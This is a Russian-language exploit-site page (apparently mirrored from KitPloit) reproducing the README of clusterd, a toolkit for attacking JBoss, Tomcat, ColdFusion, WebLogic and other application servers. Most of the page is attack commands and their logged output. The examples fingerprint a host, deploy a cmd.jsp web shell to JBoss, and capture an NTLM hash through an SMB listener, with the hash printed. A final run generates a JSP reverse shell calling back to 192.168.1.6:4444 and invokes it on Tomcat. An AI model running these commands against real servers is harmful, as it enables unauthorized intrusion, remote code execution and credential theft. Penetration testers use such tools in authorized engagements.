## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HATRIOT-CLUSTERD
# clusterd
==
clusterd — это набор инструментов с открытым исходным кодом для атаки на серверы приложений. Созданный из-за разочарования в текущих методах фингерпринтинга и эксплуатации, clusterd автоматизирует этапы фингерпринтинга, разведки и эксплуатации атаки на сервер приложений. Смотрите вики для получения дополнительной информации.
## Требования
* Python >= 2.7.x
* Requests >= 2.2.x
## Установка
Рекомендуемый способ установки clusterd — клонировать репозиторий Github
root@kitploit:~
git clone https://github.com/hatRiot/clusterd.git
## Возможности clusterd
* clusterd в настоящее время поддерживает шесть различных платформ серверов приложений, причем еще несколько находятся в разработке и исследовании
* JBoss
* Версии 3.x - 8.1
* Поддерживаемые деплоеры:
* /jmx-console/MainDeployer для 3.x, 4.x и 6.x
* /jmx-console/DeploymentFileRepository для 3.x, 4.x и 5.x
* /web-console/Invoker (MainDeployer) для 3.x, 4.x и 6.x
* /web-console/Invoker (BSHDeployer) для 3.x и 4.x
* /invoker/JMXInvokerServlet для 3.x, 4.x и 5.x
* /invoker/EJBInvokerServlet для 3.x, 4.x и 5.x
* /management для 7.x, 8.x
* SEAM2 для 5.1, 6.x
* Снятие дампа развернутых WAR
* Получение информации об ОС хоста
* Уязвимость подмены глаголов (CVE-2010-0738)
* Раскрытие учетных данных/путей (CVE-2005-2006)
* ColdFusion
* Версии 5 - 11
* Поддерживаемые деплоеры:
* Планировщик задач для 5.x, 6.x, 7.x, 8.x, 9.x, 10.x и 11.x
* FCKeditor для 8.x
* Инъекция журналов LFI 6.x, 7.x и 8.x
* Извлечение хэшей для версий 6 - 10
* Обход аутентификации RDS (CVE-2013-0632)
* Аутентификация «pass-the-hash» для версий 7 - 9
* WebLogic
* Версии 7, 8.1, 11 и 12
* Деплойер по T3 и T3S, протестирован на 11.x и 12.x
* Снятие дампа развернутых WAR по T3/T3S
* Получение информации об ОС хоста
* Tomcat
* Версии 3.x - 8.x
* Возможность развертывания на всех версиях с открытым интерфейсом менеджера
* Снятие дампа развернутых WAR
* Получение информации об ОС хоста
* Railo
* Версии 3.x - 4.x
* Поддерживаемые деплоеры:
* Планировщик задач для 3.x и 4.x
* Инъекция журналов для 3.x и 4.x
* Удаленное выполнение кода до аутентификации через эскизы для 3.x и 4.x (до 4.2.1)
* Получение информации об ОС хоста
* Извлечение пароля до аутентификации для 3.x - 4.2.1
* Axis2
* Версии 1.4 - 1.6
* Поддерживаемые деплоеры:
* Интерфейс администратора для 1.4, 1.5 и 1.6
* Получение информации об ОС хоста
* Просмотр развернутых сервисов
* Раскрытие учетных данных для 1.4
* Glassfish
* Версии 3.x - 4.x
* Просмотр развернутых сервисов
* Поддерживаемые деплоеры:
* Загрузка через панель администратора для 3.x и 4.x
* Простой API для добавления новых платформ, отпечатков, деплоеров и эксплойтов
* Различные вспомогательные модули для уязвимостей и методов эксплуатации
## Примеры / Использование
root@kitploit:~
$ ./clusterd.py
clusterd/0.3.1 - clustered attack toolkit
[Supporting 7 platforms]
usage: ./clusterd.py [options]
optional arguments:
-h, --help show this help message and exit
Connection:
Options for configuring the connection
-i [ip address] Server address
-iL [file] Server list
-p [port] Server port
--proxy [proxy://server:port]
Connect through proxy [http|https]
--proxy-auth [username:password]
Proxy credentials
--timeout [seconds] Connection timeout [5s]
--random-agent Use a random User-Agent for requests
--ssl Force SSL
Remote Host:
Settings specific to the remote host
-a [jboss|coldfusion|weblogic|tomcat|railo|axis2|glassfish]
Hint at remote host service
-o [windows|linux] Hint at remote host OS
-v [version] Specific version to test
--usr-auth [username:password]
Login credentials for service
--fingerprint Fingerprint the remote system
--arch [x86|x64] Specify remote OS architecture
Deploy:
Deployment flags and settings
--deploy [file] Deploy to the discovered service
--undeploy [context] Undeploy file from server
--deployer [deployer]
Specify a deployer to use
--invoke Invoke payload after deployment
--rand-payload Use a random name for the deployed file
-b [user] Brute force credentials for user [admin]
--wordlist [path] Wordlist for brute forcing passwords
Other:
Miscellaneous flags
--deployer-list List all available deployers
--aux-list [platform]
List all available exploits
--gen-payload [host:port] for reverse connection
Generate a reverse shell payload
--discover [discovery_file]
Attempt to discover application servers using the
specified nmap gnmap output (use -sV when scanning)
--listen [adapter] Adapter to listen on when needed
-d Enable debug output
-l Log output to file [$time$_log.log]
Фингерпринтинг JBoss и информация о хосте
root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a jboss --jb-info --random-agent
clusterd/0.3 - clustered attack toolkit
[Supporting 6 platforms]
[2014-05-25 10:57PM] Started at 2014-05-25 10:57PM
[2014-05-25 10:57PM] Servers' OS hinted at windows
[2014-05-25 10:57PM] Fingerprinting host '192.168.1.105'
[2014-05-25 10:57PM] Server hinted at 'jboss'
[2014-05-25 10:57PM] Checking jboss version 3.2 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 3.2 JBoss Web Console...
[2014-05-25 10:57PM] Checking jboss version 3.0 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 4.2 JBoss Web Console...
[2014-05-25 10:57PM] Checking jboss version 4.0 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 4.0 JBoss Web Console...
[2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Manager...
[2014-05-25 10:57PM] Checking jboss version 5.1 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 5.1 JBoss Web Console...
[2014-05-25 10:57PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 5.0 JBoss Web Console...
[2014-05-25 10:57PM] Checking jboss version 6.0 JBoss Web Manager...
[2014-05-25 10:57PM] Checking jboss version 6.1 JBoss Web Manager...
[2014-05-25 10:57PM] Checking jboss version 6.1 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 6.0 JBoss JMX Console...
[2014-05-25 10:57PM] Checking jboss version 7.1 JBoss Management...
[2014-05-25 10:57PM] Checking jboss version 7.0 JBoss Management...
[2014-05-25 10:57PM] Checking jboss version 8.0 JBoss Management...
[2014-05-25 10:57PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2014-05-25 10:57PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2014-05-25 10:57PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2014-05-25 10:57PM] Checking jboss version Any JBoss RMI Interface...
[2014-05-25 10:57PM] Checking jboss version Any JBoss Status Page...
[2014-05-25 10:57PM] Matched 7 fingerprints for service jboss
[2014-05-25 10:57PM] JBoss JMX Console (version 5.0)
[2014-05-25 10:57PM] JBoss Web Console (version 5.0)
[2014-05-25 10:57PM] JBoss EJB Invoker Servlet (version Any)
[2014-05-25 10:57PM] JBoss HTTP Headers (Unreliable) (version 5.0)
[2014-05-25 10:57PM] JBoss JMX Invoker Servlet (version Any)
[2014-05-25 10:57PM] JBoss RMI Interface (version Any)
[2014-05-25 10:57PM] JBoss Status Page (version Any)
[2014-05-25 10:57PM] Fingerprinting completed.
[2014-05-25 10:57PM] Attempting to retrieve JBoss info...
[2014-05-25 10:57PM] ActiveThreadCount: 68
[2014-05-25 10:57PM] AvailableProcessors: 1
[2014-05-25 10:57PM] OSArch: amd64
[2014-05-25 10:57PM] MaxMemory: 518979584
[2014-05-25 10:57PM] HostAddress: 192.168.1.105
[2014-05-25 10:57PM] JavaVersion: 1.7.0_45
[2014-05-25 10:57PM] OSVersion: 6.1
[2014-05-25 10:57PM] TotalMemory: 286703616
[2014-05-25 10:57PM] JavaVendor: Oracle Corporation
[2014-05-25 10:57PM] ActiveThreadGroupCount: 9
[2014-05-25 10:57PM] OSName: Windows 7
[2014-05-25 10:57PM] FreeMemory: 122651808
[2014-05-25 10:57PM] HostName: bryan-PC
[2014-05-25 10:57PM] JavaVMVersion: 24.45-b08
[2014-05-25 10:57PM] JavaVMVendor: Oracle Corporation
[2014-05-25 10:57PM] JavaVMName: Java HotSpot(TM) 64-Bit Server VM
[2014-05-25 10:57PM] Finished at 2014-05-25 10:57PM
Развертывание через DFS JBoss на JBoss 5.0
root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a jboss -v5.0 --deploy ./src/lib/resources/cmd.war --random-agent
clusterd/0.3 - clustered attack toolkit
[Supporting 6 platforms]
[2014-05-25 11:00PM] Started at 2014-05-25 11:00PM
[2014-05-25 11:00PM] Servers' OS hinted at windows
[2014-05-25 11:00PM] Fingerprinting host '192.168.1.105'
[2014-05-25 11:00PM] Server hinted at 'jboss'
[2014-05-25 11:00PM] Checking jboss version 5.0 JBoss JMX Console...
[2014-05-25 11:00PM] Checking jboss version 5.0 JBoss Web Console...
[2014-05-25 11:00PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2014-05-25 11:00PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2014-05-25 11:00PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2014-05-25 11:00PM] Checking jboss version Any JBoss RMI Interface...
[2014-05-25 11:00PM] Checking jboss version Any JBoss Status Page...
[2014-05-25 11:00PM] Matched 7 fingerprints for service jboss
[2014-05-25 11:00PM] JBoss JMX Console (version 5.0)
[2014-05-25 11:00PM] JBoss Web Console (version 5.0)
[2014-05-25 11:00PM] JBoss EJB Invoker Servlet (version Any)
[2014-05-25 11:00PM] JBoss HTTP Headers (Unreliable) (version 5.0)
[2014-05-25 11:00PM] JBoss JMX Invoker Servlet (version Any)
[2014-05-25 11:00PM] JBoss RMI Interface (version Any)
[2014-05-25 11:00PM] JBoss Status Page (version Any)
[2014-05-25 11:00PM] Fingerprinting completed.
[2014-05-25 11:00PM] This deployer requires a JSP, default to cmd.jsp? [Y/n] >
[2014-05-25 11:00PM] Preparing to deploy cmd...
[2014-05-25 11:00PM] Successfully deployed '/cmd/cmd.jsp'
[2014-05-25 11:00PM] Finished at 2014-05-25 11:00PM
Извлечение хэша UNC JBoss
root@kitploit:~
$ sudo ./clusterd.py -i 192.168.1.105 -a jboss -v4.2 --random-agent --jb-smb
clusterd/0.3 - clustered attack toolkit
[Supporting 6 platforms]
[2014-05-25 11:01PM] Started at 2014-05-25 11:01PM
[2014-05-25 11:01PM] Servers' OS hinted at windows
[2014-05-25 11:01PM] Fingerprinting host '192.168.1.105'
[2014-05-25 11:01PM] Server hinted at 'jboss'
[2014-05-25 11:01PM] Checking jboss version 4.2 JBoss JMX Console...
[2014-05-25 11:01PM] Checking jboss version 4.2 JBoss Web Console...
[2014-05-25 11:01PM] Checking jboss version Any JBoss EJB Invoker Servlet...
[2014-05-25 11:01PM] Checking jboss version Any JBoss HTTP Headers (Unreliable)...
[2014-05-25 11:01PM] Checking jboss version Any JBoss JMX Invoker Servlet...
[2014-05-25 11:01PM] Checking jboss version Any JBoss RMI Interface...
[2014-05-25 11:01PM] Checking jboss version Any JBoss Status Page...
[2014-05-25 11:01PM] Matched 7 fingerprints for service jboss
[2014-05-25 11:01PM] JBoss JMX Console (version 4.2)
[2014-05-25 11:01PM] JBoss Web Console (version 4.2)
[2014-05-25 11:01PM] JBoss EJB Invoker Servlet (version Any)
[2014-05-25 11:01PM] JBoss HTTP Headers (Unreliable) (version 4.2)
[2014-05-25 11:01PM] JBoss JMX Invoker Servlet (version Any)
[2014-05-25 11:01PM] JBoss RMI Interface (version Any)
[2014-05-25 11:01PM] JBoss Status Page (version Any)
[2014-05-25 11:01PM] Fingerprinting completed.
[2014-05-25 11:01PM] Setting up SMB listener..
[2014-05-25 11:01PM] Invoking UNC loader...
[2014-05-25 11:01PM] bryan::bryan-PC:1122334455667788:34826253d353ebca4811bd08be0db067:01010000000000003dac35999f78cf019df7c49c7268a5f600000000020000000000000000000000
[2014-05-25 11:01PM] Finished at 2014-05-25 11:01PM
Развертывание на Tomcat и вызов обратной оболочки
root@kitploit:~
$ ./clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
clusterd/0.3 - clustered attack toolkit
[Supporting 6 platforms]
[2014-05-25 10:53PM] Started at 2014-05-25 10:53PM
[2014-05-25 10:53PM] Generating payload....
[2014-05-25 10:53PM] Payload generated (shell.war). Payload: java/jsp_shell_reverse_tcp
[2014-05-25 10:53PM] Servers' OS hinted at windows
[2014-05-25 10:53PM] Fingerprinting host '192.168.1.105'
[2014-05-25 10:53PM] Server hinted at 'tomcat'
[2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat...
[2014-05-25 10:53PM] Checking tomcat version 5.5 Tomcat Manager...
[2014-05-25 10:53PM] Matched 2 fingerprints for service tomcat
[2014-05-25 10:53PM] Tomcat (version 5.5)
[2014-05-25 10:53PM] Tomcat Manager (version 5.5)
[2014-05-25 10:53PM] Fingerprinting completed.
[2014-05-25 10:53PM] Preparing to deploy /tmp/.clusterd/z1dgi.war...
[2014-05-25 10:53PM] Deployed /tmp/.clusterd/z1dgi.war to /z1dgi
[2014-05-25 10:53PM] z1dgi invoked at 192.168.1.105
[2014-05-25 10:53PM] Finished at 2014-05-25 10:53PM